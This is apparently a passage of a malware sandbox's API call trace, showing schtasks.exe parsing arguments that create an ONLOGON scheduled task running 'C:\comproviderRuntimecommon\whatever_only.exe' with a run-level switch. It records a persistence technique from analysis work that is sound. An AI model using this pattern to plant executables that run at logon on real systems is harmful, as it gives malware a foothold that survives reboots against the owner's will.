_Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.067] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.067] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.067] lstrlenW (lpString="|sc|") returned 4 [0127.067] lstrlenW (lpString="|sc|") returned 4 [0127.067] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0127.067] SetLastError (dwErrCode=0x0) [0127.067] SetLastError (dwErrCode=0x0) [0127.067] lstrlenW (lpString="ONLOGON") returned 7 [0127.067] lstrlenW (lpString="-/") returned 2 [0127.067] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0127.067] SetLastError (dwErrCode=0x490) [0127.067] SetLastError (dwErrCode=0x490) [0127.067] SetLastError (dwErrCode=0x0) [0127.067] lstrlenW (lpString="ONLOGON") returned 7 [0127.067] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0127.067] SetLastError (dwErrCode=0x490) [0127.067] SetLastError (dwErrCode=0x0) [0127.067] GetProcessHeap () returned 0x110000 [0127.067] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12d580 [0127.067] _memicmp (_Buf1=0x12d580, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.067] lstrlenW (lpString="ONLOGON") returned 7 [0127.067] GetProcessHeap () returned 0x110000 [0127.068] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d5a0 [0127.068] lstrlenW (lpString="ONLOGON") returned 7 [0127.068] lstrlenW (lpString=" \x09") returned 2 [0127.068] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0127.068] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0127.068] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0127.068] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0127.068] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0127.068] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0127.068] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0127.068] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0127.068] GetLastError () returned 0x0 [0127.068] lstrlenW (lpString="ONLOGON") returned 7 [0127.068] lstrlenW (lpString="ONLOGON") returned 7 [0127.068] SetLastError (dwErrCode=0x0) [0127.068] SetLastError (dwErrCode=0x0) [0127.068] lstrlenW (lpString="/tr") returned 3 [0127.068] lstrlenW (lpString="-/") returned 2 [0127.068] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.068] lstrlenW (lpString="create") returned 6 [0127.068] lstrlenW (lpString="create") returned 6 [0127.068] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.068] lstrlenW (lpString="tr") returned 2 [0127.068] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.068] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|create|") returned 8 [0127.068] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.068] lstrlenW (lpString="|create|") returned 8 [0127.068] lstrlenW (lpString="|tr|") returned 4 [0127.068] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0127.069] SetLastError (dwErrCode=0x490) [0127.069] lstrlenW (lpString="?") returned 1 [0127.069] lstrlenW (lpString="?") returned 1 [0127.069] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.069] lstrlenW (lpString="tr") returned 2 [0127.069] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.069] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|?|") returned 3 [0127.069] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.069] lstrlenW (lpString="|?|") returned 3 [0127.069] lstrlenW (lpString="|tr|") returned 4 [0127.069] SetLastError (dwErrCode=0x490) [0127.069] lstrlenW (lpString="s") returned 1 [0127.069] lstrlenW (lpString="s") returned 1 [0127.069] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.069] lstrlenW (lpString="tr") returned 2 [0127.069] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.069] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|s|") returned 3 [0127.069] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.069] lstrlenW (lpString="|s|") returned 3 [0127.069] lstrlenW (lpString="|tr|") returned 4 [0127.069] SetLastError (dwErrCode=0x490) [0127.069] lstrlenW (lpString="u") returned 1 [0127.069] lstrlenW (lpString="u") returned 1 [0127.069] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.069] lstrlenW (lpString="tr") returned 2 [0127.070] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.070] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|u|") returned 3 [0127.070] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.103] lstrlenW (lpString="|u|") returned 3 [0127.103] lstrlenW (lpString="|tr|") returned 4 [0127.103] SetLastError (dwErrCode=0x490) [0127.103] lstrlenW (lpString="p") returned 1 [0127.103] lstrlenW (lpString="p") returned 1 [0127.103] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.103] lstrlenW (lpString="tr") returned 2 [0127.103] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.103] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|p|") returned 3 [0127.103] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.104] lstrlenW (lpString="|p|") returned 3 [0127.104] lstrlenW (lpString="|tr|") returned 4 [0127.104] SetLastError (dwErrCode=0x490) [0127.104] lstrlenW (lpString="ru") returned 2 [0127.104] lstrlenW (lpString="ru") returned 2 [0127.104] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.104] lstrlenW (lpString="tr") returned 2 [0127.104] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.104] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|ru|") returned 4 [0127.104] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.104] lstrlenW (lpString="|ru|") returned 4 [0127.104] lstrlenW (lpString="|tr|") returned 4 [0127.104] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0127.104] SetLastError (dwErrCode=0x490) [0127.104] lstrlenW (lpString="rp") returned 2 [0127.104] lstrlenW (lpString="rp") returned 2 [0127.104] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.104] lstrlenW (lpString="tr") returned 2 [0127.104] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.104] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rp|") returned 4 [0127.104] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.104] lstrlenW (lpString="|rp|") returned 4 [0127.104] lstrlenW (lpString="|tr|") returned 4 [0127.104] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0127.104] SetLastError (dwErrCode=0x490) [0127.104] lstrlenW (lpString="sc") returned 2 [0127.105] lstrlenW (lpString="sc") returned 2 [0127.105] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.105] lstrlenW (lpString="tr") returned 2 [0127.105] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.105] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.105] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.105] lstrlenW (lpString="|sc|") returned 4 [0127.105] lstrlenW (lpString="|tr|") returned 4 [0127.105] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0127.105] SetLastError (dwErrCode=0x490) [0127.105] lstrlenW (lpString="mo") returned 2 [0127.105] lstrlenW (lpString="mo") returned 2 [0127.105] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.105] lstrlenW (lpString="tr") returned 2 [0127.105] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.105] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|mo|") returned 4 [0127.105] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.105] lstrlenW (lpString="|mo|") returned 4 [0127.105] lstrlenW (lpString="|tr|") returned 4 [0127.105] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0127.105] SetLastError (dwErrCode=0x490) [0127.105] lstrlenW (lpString="d") returned 1 [0127.105] lstrlenW (lpString="d") returned 1 [0127.105] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.105] lstrlenW (lpString="tr") returned 2 [0127.105] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.106] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|d|") returned 3 [0127.106] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.106] lstrlenW (lpString="|d|") returned 3 [0127.106] lstrlenW (lpString="|tr|") returned 4 [0127.106] SetLastError (dwErrCode=0x490) [0127.106] lstrlenW (lpString="m") returned 1 [0127.106] lstrlenW (lpString="m") returned 1 [0127.106] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.106] lstrlenW (lpString="tr") returned 2 [0127.106] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.106] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|m|") returned 3 [0127.106] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.106] lstrlenW (lpString="|m|") returned 3 [0127.106] lstrlenW (lpString="|tr|") returned 4 [0127.106] SetLastError (dwErrCode=0x490) [0127.106] lstrlenW (lpString="i") returned 1 [0127.106] lstrlenW (lpString="i") returned 1 [0127.106] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.106] lstrlenW (lpString="tr") returned 2 [0127.106] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.106] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|i|") returned 3 [0127.106] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.106] lstrlenW (lpString="|i|") returned 3 [0127.106] lstrlenW (lpString="|tr|") returned 4 [0127.106] SetLastError (dwErrCode=0x490) [0127.106] lstrlenW (lpString="tn") returned 2 [0127.106] lstrlenW (lpString="tn") returned 2 [0127.107] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.107] lstrlenW (lpString="tr") returned 2 [0127.107] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.107] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.107] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.107] lstrlenW (lpString="|tn|") returned 4 [0127.107] lstrlenW (lpString="|tr|") returned 4 [0127.107] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0127.107] SetLastError (dwErrCode=0x490) [0127.107] lstrlenW (lpString="tr") returned 2 [0127.107] lstrlenW (lpString="tr") returned 2 [0127.107] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.107] lstrlenW (lpString="tr") returned 2 [0127.107] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.107] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.107] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.107] lstrlenW (lpString="|tr|") returned 4 [0127.107] lstrlenW (lpString="|tr|") returned 4 [0127.107] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0127.107] SetLastError (dwErrCode=0x0) [0127.107] SetLastError (dwErrCode=0x0) [0127.107] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.107] lstrlenW (lpString="-/") returned 2 [0127.107] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0127.107] SetLastError (dwErrCode=0x490) [0127.107] SetLastError (dwErrCode=0x490) [0127.107] SetLastError (dwErrCode=0x0) [0127.108] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.108] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\whatever_only.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\whatever_only.exe'" [0127.108] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.108] _memicmp (_Buf1=0x12d500, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.108] _memicmp (_Buf1=0x12d540, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.108] SetLastError (dwErrCode=0x7a) [0127.108] SetLastError (dwErrCode=0x0) [0127.108] SetLastError (dwErrCode=0x0) [0127.108] lstrlenW (lpString="'C") returned 2 [0127.108] lstrlenW (lpString="-/") returned 2 [0127.108] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0127.108] SetLastError (dwErrCode=0x490) [0127.108] SetLastError (dwErrCode=0x490) [0127.108] SetLastError (dwErrCode=0x0) [0127.108] _memicmp (_Buf1=0x12d580, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.108] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.108] GetProcessHeap () returned 0x110000 [0127.108] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5a0) returned 1 [0127.108] GetProcessHeap () returned 0x110000 [0127.108] RtlReAllocateHeap (Heap=0x110000, Flags=0xc, Ptr=0x12d5a0, Size=0x60) returned 0x12c270 [0127.108] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.108] lstrlenW (lpString=" \x09") returned 2 [0127.108] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0127.108] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0127.108] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0127.108] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0127.108] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0127.108] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.109] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.110] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0127.110] GetLastError () returned 0x0 [0127.110] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.110] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.110] SetLastError (dwErrCode=0x0) [0127.110] SetLastError (dwErrCode=0x0) [0127.110] lstrlenW (lpString="/rl") returned 3 [0127.110] lstrlenW (lpString="-/") returned 2 [0127.110] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.110] lstrlenW (lpString="create") returned 6 [0127.110] lstrlenW (lpString="create") returned 6 [0127.110] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.110] lstrlenW (lpString="rl") returned 2 [0127.110] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.110] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|create|") returned 8 [0127.110] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.110] lstrlenW (lpString="|create|") returned 8 [0127.111] lstrlenW (lpString="|rl|") returned 4 [0127.111] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0127.111] SetLastError (dwErrCode=0x490) [0127.111] lstrlenW (lpString="?") returned 1 [0127.111] lstrlenW (lpString="?") returned 1 [0127.111] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.111] lstrlenW (lpString="rl") returned 2 [0127.111] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.111] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|?|") returned 3 [0127.111] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.111] lstrlenW (lpString="|?|") returned 3 [0127.111] lstrlenW (lpString="|rl|") returned 4 [0127.111] SetLastError (dwErrCode=0x490) [0127.111] lstrlenW (lpString="s") returned 1 [0127.111] lstrlenW (lpString="s") returned 1 [0127.111] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.111] lstrlenW (lpString="rl") returned 2 [0127.111] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.111] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|s|") returned 3 [0127.111] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.111] lstrlenW (lpString="|s|") returned 3 [0127.111] lstrlenW (lpString="|rl|") returned 4 [0127.111] SetLastError (dwErrCode=0x490) [0127.111] lstrlenW (lpString="u") returned 1 [0127.111] lstrlenW (lpString="u") returned 1 [0127.111] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.112] lstrlenW (lpString="rl") returned 2 [0127.112] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.112] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|u|") returned 3 [0127.112] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.112] lstrlenW (lpString="|u|") returned 3 [0127.112] lstrlenW (lpString="|rl|") returned 4 [0127.112] SetLastError (dwErrCode=0x490) [0127.112] lstrlenW (lpString="p") returned 1 [0127.112] lstrlenW (lpString="p") returned 1 [0127.112] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.112] lstrlenW (lpString="rl") returned 2 [0127.112] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.112] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|p|") returned 3 [0127.112] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.112] lstrlenW (lpString="|p|") returned 3 [0127.112] lstrlenW (lpString="|rl|") returned 4 [0127.112] SetLastError (dwErrCode=0x490) [0127.112] lstrlenW (lpString="ru") returned 2 [0127.112] lstrlenW (lpString="ru") returned 2 [0127.112] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.112] lstrlenW (lpString="rl") returned 2 [0127.112] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.112] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|ru|") returned 4 [0127.112] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.112] lstrlenW (lpString="|ru|") returned 4 [0127.112] lstrlenW (lpString="|rl|") returned 4 [0127.112] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0127.113] SetLastError (dwErrCode=0x490) [0127.113] lstrlenW (lpString="rp") returned 2 [0127.113] lstrlenW (lpString="rp") returned 2 [0127.113] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.113] lstrlenW (lpString="rl") returned 2 [0127.113] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.113] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rp|") returned 4 [0127.113] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.113] lstrlenW (lpString="|rp|") returned 4 [0127.113] lstrlenW (lpString="|rl|") returned 4 [0127.113] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0127.113] SetLastError (dwErrCode=0x490) [0127.113] lstrlenW (lpString="sc") returned 2 [0127.113] lstrlenW (lpString="sc") returned 2 [0127.113] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.113] lstrlenW (lpString="rl") returned 2 [0127.113] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.113] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.113] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.113] lstrlenW (lpString="|sc|") returned 4 [0127.113] lstrlenW (lpString="|rl|") returned 4 [0127.113] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0127.113] SetLastError (dwErrCode=0x490) [0127.113] lstrlenW (lpString="mo") returned 2 [0127.113] lstrlenW (lpString="mo") returned 2 [0127.113] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.113] lstrlenW (lpString="rl") returned 2 [0127.113] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.114] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|mo|") returned 4 [0127.114] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.114] lstrlenW (lpString="|mo|") returned 4 [0127.114] lstrlenW (lpString="|rl|") returned 4 [0127.114] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0127.114] SetLastError (dwErrCode=0x490) [0127.114] lstrlenW (lpString="d") returned 1 [0127.114] lstrlenW (lpString="d") returned 1 [0127.114] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.114] lstrlenW (lpString="rl") returned 2 [0127.114] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.114] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|d|") returned 3 [0127.114] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.114] lstrlenW (lpString="|d|") returned 3 [0127.114] lstrlenW (lpString="|rl|") returned 4 [0127.114] SetLastError 